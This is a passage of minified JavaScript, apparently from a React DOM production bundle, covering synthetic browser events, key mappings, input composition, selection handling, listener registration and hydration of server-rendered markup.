4;case li:case Wv:return 16;case hc:return 536870912;default:return 16}default:return 16}}var bn=null,ls=null,gi=null;function zc(){if(gi)return gi;var e,n=ls,a=n.length,l,c="value"in bn?bn.value:bn.textContent,f=c.length;for(e=0;e<a&&n[e]===c[e];e++);var v=a-e;for(l=1;l<=v&&n[a-l]===c[f-l];l++);return gi=c.slice(e,1<l?1-l:void 0)}function yi(e){var n=e.keyCode;return"charCode"in e?(e=e.charCode,e===0&&n===13&&(e=13)):e=n,e===10&&(e=13),32<=e||e===13?e:0}function _i(){return!0}function Cc(){return!1}function zt(e){function n(a,l,c,f,v){this._reactName=a,this._targetInst=c,this.type=l,this.nativeEvent=f,this.target=v,this.currentTarget=null;for(var _ in e)e.hasOwnProperty(_)&&(a=e[_],this[_]=a?a(f):f[_]);return this.isDefaultPrevented=(f.defaultPrevented!=null?f.defaultPrevented:f.returnValue===!1)?_i:Cc,this.isPropagationStopped=Cc,this}return X(n.prototype,{preventDefault:function(){this.defaultPrevented=!0;var a=this.nativeEvent;a&&(a.preventDefault?a.preventDefault():typeof a.returnValue!="unknown"&&(a.returnValue=!1),this.isDefaultPrevented=_i)},stopPropagation:function(){var a=this.nativeEvent;a&&(a.stopPropagation?a.stopPropagation():typeof a.cancelBubble!="unknown"&&(a.cancelBubble=!0),this.isPropagationStopped=_i)},persist:function(){},isPersistent:_i}),n}var Ir={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},us=zt(Ir),_o=X({},Ir,{view:0,detail:0}),ih=zt(_o),cs,ds,wo,wi=X({},_o,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:fs,button:0,buttons:0,relatedTarget:function(e){return e.relatedTarget===void 0?e.fromElement===e.srcElement?e.toElement:e.fromElement:e.relatedTarget},movementX:function(e){return"movementX"in e?e.movementX:(e!==wo&&(wo&&e.type==="mousemove"?(cs=e.screenX-wo.screenX,ds=e.screenY-wo.screenY):ds=cs=0,wo=e),cs)},movementY:function(e){return"movementY"in e?e.movementY:ds}}),Tc=zt(wi),ah=X({},wi,{dataTransfer:0}),sh=zt(ah),lh=X({},_o,{relatedTarget:0}),ps=zt(lh),uh=X({},Ir,{animationName:0,elapsedTime:0,pseudoElement:0}),ch=zt(uh),dh=X({},Ir,{clipboardData:function(e){return"clipboardData"in e?e.clipboardData:window.clipboardData}}),ph=zt(dh),fh=X({},Ir,{data:0}),Bc=zt(fh),mh={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},vh={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"},hh={Alt:"altKey",Control:"ctrlKey",Meta:"metaKey",Shift:"shiftKey"};function gh(e){var n=this.nativeEvent;return n.getModifierState?n.getModifierState(e):(e=hh[e])?!!n[e]:!1}function fs(){return gh}var yh=X({},_o,{key:function(e){if(e.key){var n=mh[e.key]||e.key;if(n!=="Unidentified")return n}return e.type==="keypress"?(e=yi(e),e===13?"Enter":String.fromCharCode(e)):e.type==="keydown"||e.type==="keyup"?vh[e.keyCode]||"Unidentified":""},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:fs,charCode:function(e){return e.type==="keypress"?yi(e):0},keyCode:function(e){return e.type==="keydown"||e.type==="keyup"?e.keyCode:0},which:function(e){return e.type==="keypress"?yi(e):e.type==="keydown"||e.type==="keyup"?e.keyCode:0}}),_h=zt(yh),wh=X({},wi,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0}),Rc=zt(wh),xh=X({},_o,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:fs}),Eh=zt(xh),Ih=X({},Ir,{propertyName:0,elapsedTime:0,pseudoElement:0}),Sh=zt(Ih),kh=X({},wi,{deltaX:function(e){return"deltaX"in e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0}),bh=zt(kh),zh=[9,13,27,32],ms=m&&"CompositionEvent"in window,xo=null;m&&"documentMode"in document&&(xo=document.documentMode);var Ch=m&&"TextEvent"in window&&!xo,Pc=m&&(!ms||xo&&8<xo&&11>=xo),Nc=" ",Ac=!1;function Oc(e,n){switch(e){case"keyup":return zh.indexOf(n.keyCode)!==-1;case"keydown":return n.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function jc(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var Sr=!1;function Th(e,n){switch(e){case"compositionend":return jc(n);case"keypress":return n.which!==32?null:(Ac=!0,Nc);case"textInput":return e=n.data,e===Nc&&Ac?null:e;default:return null}}function Bh(e,n){if(Sr)return e==="compositionend"||!ms&&Oc(e,n)?(e=zc(),gi=ls=bn=null,Sr=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(n.ctrlKey||n.altKey||n.metaKey)||n.ctrlKey&&n.altKey){if(n.char&&1<n.char.length)return n.char;if(n.which)return String.fromCharCode(n.which)}return null;case"compositionend":return Pc&&n.locale!=="ko"?null:n.data;default:return null}}var Rh={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function $c(e){var n=e&&e.nodeName&&e.nodeName.toLowerCase();return n==="input"?!!Rh[e.type]:n==="textarea"}function Lc(e,n,a,l){oc(l),n=ki(n,"onChange"),0<n.length&&(a=new us("onChange","change",null,a,l),e.push({event:a,listeners:n}))}var Eo=null,Io=null;function Ph(e){nd(e,0)}function xi(e){var n=Tr(e);if(Wu(n))return e}function Nh(e,n){if(e==="change")return n}var Dc=!1;if(m){var vs;if(m){var hs="oninput"in document;if(!hs){var Mc=document.createElement("div");Mc.setAttribute("oninput","return;"),hs=typeof Mc.oninput=="function"}vs=hs}else vs=!1;Dc=vs&&(!document.documentMode||9<document.documentMode)}function Fc(){Eo&&(Eo.detachEvent("onpropertychange",Uc),Io=Eo=null)}function Uc(e){if(e.propertyName==="value"&&xi(Io)){var n=[];Lc(n,Io,e,Ja(e)),lc(Ph,n)}}function Ah(e,n,a){e==="focusin"?(Fc(),Eo=n,Io=a,Eo.attachEvent("onpropertychange",Uc)):e==="focusout"&&Fc()}function Oh(e){if(e==="selectionchange"||e==="keyup"||e==="keydown")return xi(Io)}function jh(e,n){if(e==="click")return xi(n)}function $h(e,n){if(e==="input"||e==="change")return xi(n)}function Lh(e,n){return e===n&&(e!==0||1/e===1/n)||e!==e&&n!==n}var Zt=typeof Object.is=="function"?Object.is:Lh;function So(e,n){if(Zt(e,n))return!0;if(typeof e!="object"||e===null||typeof n!="object"||n===null)return!1;var a=Object.keys(e),l=Object.keys(n);if(a.length!==l.length)return!1;for(l=0;l<a.length;l++){var c=a[l];if(!g.call(n,c)||!Zt(e[c],n[c]))return!1}return!0}function Zc(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function qc(e,n){var a=Zc(e);e=0;for(var l;a;){if(a.nodeType===3){if(l=e+a.textContent.length,e<=n&&l>=n)return{node:a,offset:n-e};e=l}e:{for(;a;){if(a.nextSibling){a=a.nextSibling;break e}a=a.parentNode}a=void 0}a=Zc(a)}}function Vc(e,n){return e&&n?e===n?!0:e&&e.nodeType===3?!1:n&&n.nodeType===3?Vc(e,n.parentNode):"contains"in e?e.contains(n):e.compareDocumentPosition?!!(e.compareDocumentPosition(n)&16):!1:!1}function Wc(){for(var e=window,n=oi();n instanceof e.HTMLIFrameElement;){try{var a=typeof n.contentWindow.location.href=="string"}catch{a=!1}if(a)e=n.contentWindow;else break;n=oi(e.document)}return n}function gs(e){var n=e&&e.nodeName&&e.nodeName.toLowerCase();return n&&(n==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||n==="textarea"||e.contentEditable==="true")}function Dh(e){var n=Wc(),a=e.focusedElem,l=e.selectionRange;if(n!==a&&a&&a.ownerDocument&&Vc(a.ownerDocument.documentElement,a)){if(l!==null&&gs(a)){if(n=l.start,e=l.end,e===void 0&&(e=n),"selectionStart"in a)a.selectionStart=n,a.selectionEnd=Math.min(e,a.value.length);else if(e=(n=a.ownerDocument||document)&&n.defaultView||window,e.getSelection){e=e.getSelection();var c=a.textContent.length,f=Math.min(l.start,c);l=l.end===void 0?f:Math.min(l.end,c),!e.extend&&f>l&&(c=l,l=f,f=c),c=qc(a,f);var v=qc(a,l);c&&v&&(e.rangeCount!==1||e.anchorNode!==c.node||e.anchorOffset!==c.offset||e.focusNode!==v.node||e.focusOffset!==v.offset)&&(n=n.createRange(),n.setStart(c.node,c.offset),e.removeAllRanges(),f>l?(e.addRange(n),e.extend(v.node,v.offset)):(n.setEnd(v.node,v.offset),e.addRange(n)))}}for(n=[],e=a;e=e.parentNode;)e.nodeType===1&&n.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof a.focus=="function"&&a.focus(),a=0;a<n.length;a++)e=n[a],e.element.scrollLeft=e.left,e.element.scrollTop=e.top}}var Mh=m&&"documentMode"in document&&11>=document.documentMode,kr=null,ys=null,ko=null,_s=!1;function Hc(e,n,a){var l=a.window===a?a.document:a.nodeType===9?a:a.ownerDocument;_s||kr==null||kr!==oi(l)||(l=kr,"selectionStart"in l&&gs(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&&l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),ko&&So(ko,l)||(ko=l,l=ki(ys,"onSelect"),0<l.length&&(n=new us("onSelect","select",null,n,a),e.push({event:n,listeners:l}),n.target=kr)))}function Ei(e,n){var a={};return a[e.toLowerCase()]=n.toLowerCase(),a["Webkit"+e]="webkit"+n,a["Moz"+e]="moz"+n,a}var br={animationend:Ei("Animation","AnimationEnd"),animationiteration:Ei("Animation","AnimationIteration"),animationstart:Ei("Animation","AnimationStart"),transitionend:Ei("Transition","TransitionEnd")},ws={},Gc={};m&&(Gc=document.createElement("div").style,"AnimationEvent"in window||(delete br.animationend.animation,delete br.animationiteration.animation,delete br.animationstart.animation),"TransitionEvent"in window||delete br.transitionend.transition);function Ii(e){if(ws[e])return ws[e];if(!br[e])return e;var n=br[e],a;for(a in n)if(n.hasOwnProperty(a)&&a in Gc)return ws[e]=n[a];return e}var Jc=Ii("animationend"),Kc=Ii("animationiteration"),Qc=Ii("animationstart"),Yc=Ii("transitionend"),Xc=new Map,ed="abort auxClick cancel canPlay canPlayThrough click close contextMenu copy cut drag dragEnd dragEnter dragExit dragLeave dragOver dragStart drop durationChange emptied encrypted ended error gotPointerCapture input invalid keyDown keyPress keyUp load loadedData loadedMetadata loadStart lostPointerCapture mouseDown mouseMove mouseOut mouseOver mouseUp paste pause play playing pointerCancel pointerDown pointerMove pointerOut pointerOver pointerUp progress rateChange reset resize seeked seeking stalled submit suspend timeUpdate touchCancel touchEnd touchStart volumeChange scroll toggle touchMove waiting wheel".split(" ");function zn(e,n){Xc.set(e,n),p(n,[e])}for(var xs=0;xs<ed.length;xs++){var Es=ed[xs],Fh=Es.toLowerCase(),Uh=Es[0].toUpperCase()+Es.slice(1);zn(Fh,"on"+Uh)}zn(Jc,"onAnimationEnd"),zn(Kc,"onAnimationIteration"),zn(Qc,"onAnimationStart"),zn("dblclick","onDoubleClick"),zn("focusin","onFocus"),zn("focusout","onBlur"),zn(Yc,"onTransitionEnd"),d("onMouseEnter",["mouseout","mouseover"]),d("onMouseLeave",["mouseout","mouseover"]),d("onPointerEnter",["pointerout","pointerover"]),d("onPointerLeave",["pointerout","pointerover"]),p("onChange","change click focusin focusout input keydown keyup selectionchange".split(" ")),p("onSelect","focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange".split(" ")),p("onBeforeInput",["compositionend","keypress","textInput","paste"]),p("onCompositionEnd","compositionend focusout keydown keypress keyup mousedown".split(" ")),p("onCompositionStart","compositionstart focusout keydown keypress keyup mousedown".split(" ")),p("onCompositionUpdate","compositionupdate focusout keydown keypress keyup mousedown".split(" "));var bo="abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting".split(" "),Zh=new Set("cancel close invalid load scroll toggle".split(" ").concat(bo));function td(e,n,a){var l=e.type||"unknown-event";e.currentTarget=a,Fv(l,n,void 0,e),e.currentTarget=null}function nd(e,n){n=(n&4)!==0;for(var a=0;a<e.length;a++){var l=e[a],c=l.event;l=l.listeners;e:{var f=void 0;if(n)for(var v=l.length-1;0<=v;v--){var _=l[v],I=_.instance,R=_.currentTarget;if(_=_.listener,I!==f&&c.isPropagationStopped())break e;td(c,_,R),f=I}else for(v=0;v<l.length;v++){if(_=l[v],I=_.instance,R=_.currentTarget,_=_.listener,I!==f&&c.isPropagationStopped())break e;td(c,_,R),f=I}}}if(si)throw e=Xa,si=!1,Xa=null,e}function Pe(e,n){var a=n[Bs];a===void 0&&(a=n[Bs]=new Set);var l=e+"__bubble";a.has(l)||(rd(n,e,2,!1),a.add(l))}function Is(e,n,a){var l=0;n&&(l|=4),rd(a,e,l,n)}var Si="_reactListening"+Math.random().toString(36).slice(2);function zo(e){if(!e[Si]){e[Si]=!0,s.forEach(function(a){a!=="selectionchange"&&(Zh.has(a)||Is(a,!1,e),Is(a,!0,e))});var n=e.nodeType===9?e:e.ownerDocument;n===null||n[Si]||(n[Si]=!0,Is("selectionchange",!1,n))}}function rd(e,n,a,l){switch(bc(n)){case 1:var c=rh;break;case 4:c=oh;break;default:c=as}a=c.bind(null,n,a,e),c=void 0,!Ya||n!=="touchstart"&&n!=="touchmove"&&n!=="wheel"||(c=!0),l?c!==void 0?e.addEventListener(n,a,{capture:!0,passive:c}):e.addEventListener(n,a,!0):c!==void 0?e.addEventListener(n,a,{passive:c}):e.addEventListener(n,a,!1)}function Ss(e,n,a,l,c){var f=l;if((n&1)===0&&(n&2)===0&&l!==null)e:for(;;){if(l===null)return;var v=l.tag;if(v===3||v===4){var _=l.stateNode.containerInfo;if(_===c||_.nodeType===8&&_.parentNode===c)break;if(v===4)for(v=l.return;v!==null;){var I=v.tag;if((I===3||I===4)&&(I=v.stateNode.containerInfo,I===c||I.nodeType===8&&I.parentNode===c))return;v=v.return}for(;_!==null;){if(v=er(_),v===null)return;if(I=v.tag,I===5||I===6){l=f=v;continue e}_=_.parentNode}}l=l.return}lc(function(){var R=f,U=Ja(a),q=[];e:{var M=Xc.get(e);if(M!==void 0){var K=us,te=e;switch(e){case"keypress":if(yi(a)===0)break e;case"keydown":case"keyup":K=_h;break;case"focusin":te="focus",K=ps;break;case"focusout":te="blur",K=ps;break;case"beforeblur":case"afterblur":K=ps;break;case"click":if(a.button===2)break e;case"auxclick":case"dblclick":case"mousedown":case"mousemove":case"mouseup":case"mouseout":case"mouseover":case"contextmenu":K=Tc;break;case"drag":case"dragend":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"dragstart":case"drop":K=sh;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":K=Eh;break;case Jc:case Kc:case Qc:K=ch;break;case Yc:K=Sh;break;case"scroll":K=ih;break;case"wheel":K=bh;break;case"copy":case"cut":case"paste":K=ph;break;case"gotpointercapture":case"lostpointercapture":case"pointercancel":case"pointerdown":case"pointermove":case"pointerout":case"pointerover":case"pointerup":K=Rc}var ne=(n&4)!==0,He=!ne&&e==="scroll",C=ne?M!==null?M+"Capture":null:M;ne=[];for(var k=R,B;k!==null;){B=k;var V=B.stateNode;if(B.tag===5&&V!==null&&(B=V,C!==null&&(V=lo(k,C),V!=null&&ne.push(Co(k,V,B)))),He)break;k=k.return}0<ne.length&&(M=new K(M,te,null,a,U),q.push({event:M,listeners:ne}))}}if((n&7)===0){e:{if(M=e==="mouseover"||e==="pointerover",K=e==="mouseout"||e==="pointerout",M&&a!==Ga&&(te=a.relatedTarget||a.fromElement)&&(er(te)||te[an]))break e;if((K||M)&&(M=U.window===U?U:(M=U.ownerDocument)?M.defaultView||M.parentWindow:window,K?(te=a.relatedTarget||a.toElement,K=R,te=te?er(te):null,te!==null&&(He=Xn(te),te!==He||te.tag!==5&&te.tag!==6)&&(te=null)):(K=null,te=R),K!==te)){if(ne=Tc,V="onMouseLeave",C="onMouseEnter",k="mouse",(e==="pointerout"||e==="pointerover")&&(ne=Rc,V="onPointerLeave",C="onPointerEnter",k="pointer"),He=K==null?M:Tr(K),B=te==null?M:Tr(te),M=new ne(V,k+"leave",K,a,U),M.target=He,M.relatedTarget=B,V=null,er(U)===R&&(ne=new ne(C,k+"enter",te,a,U),ne.target=B,ne.relatedTarget=He,V=ne),He=V,K&&te)t:{for(ne=K,C=te,k=0,B=ne;B;B=zr(B))k++;for(B=0,V=C;V;V=zr(V))B++;for(;0<k-B;)ne=zr(ne),k--;for(;0<B-k;)C=zr(C),B--;for(;k--;){if(ne===C||C!==null&&ne===C.alternate)break t;ne=zr(ne),C=zr(C)}ne=null}else ne=null;K!==null&&od(q,M,K,ne,!1),te!==null&&He!==null&&od(q,He,te,ne,!0)}}e:{if(M=R?Tr(R):window,K=M.nodeName&&M.nodeName.toLowerCase(),K==="select"||K==="input"&&M.type==="file")var re=Nh;else if($c(M))if(Dc)re=$h;else{re=Oh;var ae=Ah}else(K=M.nodeName)&&K.toLowerCase()==="input"&&(M.type==="checkbox"||M.type==="radio")&&(re=jh);if(re&&(re=re(e,R))){Lc(q,re,a,U);break e}ae&&ae(e,M,R),e==="focusout"&&(ae=M._wrapperState)&&ae.controlled&&M.type==="number"&&Za(M,"number",M.value)}switch(ae=R?Tr(R):window,e){case"focusin":($c(ae)||ae.contentEditable==="true")&&(kr=ae,ys=R,ko=null);break;case"focusout":ko=ys=kr=null;break;case"mousedown":_s=!0;break;case"contextmenu":case"mouseup":case"dragend":_s=!1,Hc(q,a,U);break;case"selectionchange":if(Mh)break;case"keydown":case"keyup":Hc(q,a,U)}var se;if(ms)e:{switch(e){case"compositionstart":var ce="onCompositionStart";break e;case"compositionend":ce="onCompositionEnd";break e;case"compositionupdate":ce="onCompositionUpdate";break e}ce=void 0}else Sr?Oc(e,a)&&(ce="onCompositionEnd"):e==="keydown"&&a.keyCode===229&&(ce="onCompositionStart");ce&&(Pc&&a.locale!=="ko"&&(Sr||ce!=="onCompositionStart"?ce==="onCompositionEnd"&&Sr&&(se=zc()):(bn=U,ls="value"in bn?bn.value:bn.textContent,Sr=!0)),ae=ki(R,ce),0<ae.length&&(ce=new Bc(ce,e,null,a,U),q.push({event:ce,listeners:ae}),se?ce.data=se:(se=jc(a),se!==null&&(ce.data=se)))),(se=Ch?Th(e,a):Bh(e,a))&&(R=ki(R,"onBeforeInput"),0<R.length&&(U=new Bc("onBeforeInput","beforeinput",null,a,U),q.push({event:U,listeners:R}),U.data=se))}nd(q,n)})}function Co(e,n,a){return{instance:e,listener:n,currentTarget:a}}function ki(e,n){for(var a=n+"Capture",l=[];e!==null;){var c=e,f=c.stateNode;c.tag===5&&f!==null&&(c=f,f=lo(e,a),f!=null&&l.unshift(Co(e,f,c)),f=lo(e,n),f!=null&&l.push(Co(e,f,c))),e=e.return}return l}function zr(e){if(e===null)return null;do e=e.return;while(e&&e.tag!==5);return e||null}function od(e,n,a,l,c){for(var f=n._reactName,v=[];a!==null&&a!==l;){var _=a,I=_.alternate,R=_.stateNode;if(I!==null&&I===l)break;_.tag===5&&R!==null&&(_=R,c?(I=lo(a,f),I!=null&&v.unshift(Co(a,I,_))):c||(I=lo(a,f),I!=null&&v.push(Co(a,I,_)))),a=a.return}v.length!==0&&e.push({event:n,listeners:v})}var qh=/\r\n?/g,Vh=/\u0000|\uFFFD/g;function id(e){return(typeof e=="string"?e:""+e).replace(qh,`
+`).replace(Vh,"")}function bi(e,n,a){if(n=id(n),id(e)!==n&&a)throw Error(i(425))}function zi(){}var ks=null,bs=null;function zs(e,n){return e==="textarea"||e==="noscript"||typeof n.children=="string"||typeof n.children=="number"||typeof n.dangerouslySetInnerHTML=="object"&&n.dangerouslySetInnerHTML!==null&&n.dangerouslySetInnerHTML.__html!=null}var Cs=typeof setTimeout=="function"?setTimeout:void 0,Wh=typeof clearTimeout=="function"?clearTimeout:void 0,ad=typeof Promise=="function"?Promise:void 0,Hh=typeof queueMicrotask=="function"?queueMicrotask:typeof ad<"u"?function(e){return ad.resolve(null).then(e).catch(Gh)}:Cs;function Gh(e){setTimeout(function(){throw e})}function Ts(e,n){var a=n,l=0;do{var c=a.nextSibling;if(e.removeChild(a),c&&c.nodeType===8)if(a=c.data,a==="/$"){if(l===0){e.removeChild(c),yo(n);return}l--}else a!=="$"&&a!=="$?"&&a!=="$!"||l++;a=c}while(a);yo(n)}function Cn(e){for(;e!=null;e=e.nextSibling){var n=e.nodeType;if(n===1||n===3)break;if(n===8){if(n=e.data,n==="$"||n==="$!"||n==="$?")break;if(n==="/$")return null}}return e}function sd(e){e=e.previousSibling;for(var n=0;e;){if(e.nodeType===8){var a=e.data;if(a==="$"||a==="$!"||a==="$?"){if(n===0)return e;n--}else a==="/$"&&n++}e=e.previousSibling}return null}var Cr=Math.random().toString(36).slice(2),en="__reactFiber$"+Cr,To="__reactProps$"+Cr,an="__reactContainer$"+Cr,Bs="__reactEvents$"+Cr,Jh="__reactListeners$"+Cr,Kh="__reactHandles$"+Cr;function er(e){var n=e[en];if(n)return n;for(var a=e.parentNode;a;){if(n=a[an]||a[en]){if(a=n.alternate,n.child!==null||a!==null&&a.child!==null)for(e=sd(e);e!==null;){if(a=e[en])return a;e=sd(e)}return n}e=a,a=e.parentNode}return null}function Bo(e){return e=e[en]||e[an],!e||e.tag!==5&&e.tag!==6&&e.tag!==13&&e.tag!==3?null:e}function Tr(e){if(e.tag===5||e.tag===6)return e.stateNode;throw Error(i(33))}function Ci(e){return e[To]||null}var Rs=[],Br=-1;function Tn(e){return{current:e}}function Ne(e){0>Br||(e.current=Rs[Br],Rs[Br]=null,Br--)}function Te(e,n){Br++,Rs[Br]=e.current,e.current=n}var Bn={},st=Tn(Bn),ht=Tn(!1),tr=Bn;function Rr(e,n){var a=e.type.contextTypes;if(!a)return Bn;var l=e.stateNode;if(l&&l.__reactInternalMemoizedUnmaskedChildContext===n)return l.__reactInternalMemoizedMaskedChildContext;var c={},f;for(f in a)c[f]=n[f];return l&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=n,e.__reactInternalMemoizedMaskedChildContext=c),c}function gt(e){return e=e.childContextTypes,e!=null}function Ti(){Ne(ht),Ne(st)}function ld(e,n,a){if(st.current!==Bn)throw Error(i(168));Te(st,n),Te(ht,a)}function ud(e,n,a){var l=e.stateNode;if(n=n.childContextTypes,typeof l.getChildContext!="function")return a;l=l.getChildContext();for(var c in l)if(!(c in n))throw Error(i(108,Ce(e)||"Unknown",c));return X({},a,l)}function Bi(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||Bn,tr=st.current,Te(st,e),Te(ht,ht.current),!0}function cd(e,n,a){var l=e.stateNode;if(!l)throw Error(i(169));a?(e=ud(e,n,tr),l.__reactInternalMemoizedMergedChildContext=e,Ne(ht),Ne(st),Te(st,e)):Ne(ht),Te(ht,a)}var sn=null,Ri=!1,Ps=!1;function dd(e){sn===null?sn=[e]:sn.push(e)}function Qh(e){Ri=!0,dd(e)}function Rn(){if(!Ps&&sn!==null){Ps=!0;var e=0,n=be;try{var a=sn;for(be=1;e<a.length;e++){var l=a[e];do l=l(!0);while(l!==null)}sn=null,Ri=!1}catch(c){throw sn!==null&&(sn=sn.slice(e+1)),fc(es,Rn),c}finally{be=n,Ps=!1}}return null}var Pr=[],Nr=0,Pi=null,Ni=0,At=[],Ot=0,nr=null,ln=1,un="";function rr(e,n){Pr[Nr++]=Ni,Pr[Nr++]=Pi,Pi=e,Ni=n}function pd(e,n,a){At[Ot++]=ln,At[Ot++]=un,At[Ot++]=nr,nr=e;var l=ln;e=un;var c=32-Ut(l)-1;l&=~(1<<c),a+=1;var f=32-Ut(n)+c;if(30<f){var v=c-c%5;f=(l&(1<<v)-1).toString(32),l>>=v,c-=v,ln=1<<32-Ut(n)+c|a<<c|l,un=f+e}else ln=1<<f|a<<c|l,un=e}function Ns(e){e.return!==null&&(rr(e,1),pd(e,1,0))}function As(e){for(;e===Pi;)Pi=Pr[--Nr],Pr[Nr]=null,Ni=Pr[--Nr],Pr[Nr]=null;for(;e===nr;)nr=At[--Ot],At[Ot]=null,un=At[--Ot],At[Ot]=null,ln=At[--Ot],At[Ot]=null}var Ct=null,Tt=null,Oe=!1,qt=null;function fd(e,n){var a=Dt(5,null,null,0);a.elementType="DELETED",a.stateNode=n,a.return=e,n=e.deletions,n===null?(e.deletions=[a],e.flags|=16):n.push(a)}function md(e,n){switch(e.tag){case 5:var a=e.type;return n=n.nodeType!==1||a.toLowerCase()!==n.nodeName.toLowerCase()?null:n,n!==null?(e.stateNode=n,Ct=e,Tt=Cn(n.firstChild),!0):!1;case 6:return n=e.pendingProps===""||n.nodeType!==3?null:n,n!==null?(e.stateNode=n,Ct=e,Tt=null,!0):!1;case 13:return n=n.nodeType!==8?null:n,n!==null?(a=nr!==null?{id:ln,overflow:un}:null,e.memoizedState={dehydrated:n,treeContext:a,retryLane:1073741824},a=Dt(18,null,null,0),a.stateNode=n,a.return=e,e.child=a,Ct=e,Tt=null,!0):!1;default:return!1}}function Os(e){return(e.mode&1)!==0&&(e.flags&128)===0}function js(e){if(Oe){var n=Tt;if(n){var a=n;if(!md(e,n)){if(Os(e))throw Error(i(418));n=Cn(a.nextSibling);var l=Ct;n&&md(e,n)?fd(l,a):(e.flags=e.flags&-4097|2,Oe=!1,Ct=e)}}else{if(Os(e))throw Error(i(418));e.flags=e.flags&-4097|2,Oe=!1,Ct=e}}}function vd(e){for(e=e.return;e!==null&&e.tag!==5&&e.tag!==3&&e.tag!==13;)e=e.return;Ct=e}function Ai(e){if(e!==Ct)return!1;if(!Oe)return vd(e),Oe=!0,!1;var n;if((n=e.tag!==3)&&!(n=e.tag!==5)&&(n=e.type,n=n!=="head"&&n!=="body"&&!zs(e.type,e.memoizedProps)),n&&(n=Tt)){if(Os(e))throw hd(),Error(i(418));for(;n;)fd(e,n),n=Cn(n.nextSibling)}if(vd(e),e.tag===13){if(e=e.memoizedState,e=e!==null?e.dehydrated:null,!e)throw Error(i(317));e:{for(e=e.nextSibling,n=0;e;){if(e.nodeType===8){var a=e.data;if(a==="/$"){if(n===0){Tt=Cn(e.nextSibling);break e}n--}else a!=="$"&&a!=="$!"&&a!=="$?"||n++}e=e.nextSibling}Tt=null}}else Tt=Ct?Cn(e.stateNode.nextSibling):null;return!0}function hd(){for(var e=Tt;e;)e=Cn(e.nextSibling)}function Ar(){Tt=Ct=null,Oe=!1}function $s(e){qt===null?qt=[e]:qt.push(e)}var Yh=G.ReactCurrentBatchConfig;function Ro(e,n,a){if(e=a.ref,e!==null&&typeof e!="function"&&typeof e!="object"){if(a._owner){if(a=a._owner,a){if(a.tag!==1)throw Error(i(309));var l=a.stateNode}if(!l)throw Error(i(147,e));var c=l,f=""+e;return n!==null&&n.ref!==null&&typeof n.ref=="function"&&n.ref._stringRef===f?n.ref:(n=function(v){var _=c.refs;v===null?delete _[f]:_[f]=v},n._stringRef=f,n)}if(typeof e!="string")throw Error(i(284));if(!a._owner)throw Error(i(290,e))}return e}function Oi(e,n){throw e=Object.prototype.toString.call(n),Error(i(31,e==="[object Object]"?"object with keys {"+Object.keys(n).join(", ")+"}":e))}function gd(e){var n=e._init;return n(e._payload)}function yd(e){function n(C,k){if(e){var B=C.deletions;B===null?(C.deletions=[k],C.flags|=16):B.push(k)}}function a(C,k){if(!e)return null;for(;k!==null;)n(C,k),k=k.sibling;return null}function l(C,k){for(C=new Map;k!==null;)k.key!==null?C.set(k.key,k):C.set(k.index,k),k=k.sibling;return C}function c(C,k){return C=Dn(C,k),C.index=0,C.sibling=null,C}function f(C,k,B){return C.index=B,e?(B=C.alternate,B!==null?(B=B.index,B<k?(C.flags|=2,k):B):(C.flags|=2,k)):(C.flags|=1048576,k)}function v(C){return e&&C.alternate===null&&(C.flags|=2),C}function _(C,k,B,V){return k===null||k.tag!==6?(k=Cl(B,C.mode,V),k.return=C,k):(k=c(k,B),k.return=C,k)}function I(C,k,B,V){var re=B.type;return re===de?U(C,k,B.props.children,V,B.key):k!==null&&(k.elementType===re||typeof re=="object"&&re!==null&&re.$$typeof===vt&&gd(re)===k.type)?(V=c(k,B.props),V.ref=Ro(C,k,B),V.return=C,V):(V=ia(B.type,B.key,B.props,null,C.mode,V),V.ref=Ro(C,k,B),V.return=C,V)}function R(C,k,B,V){return 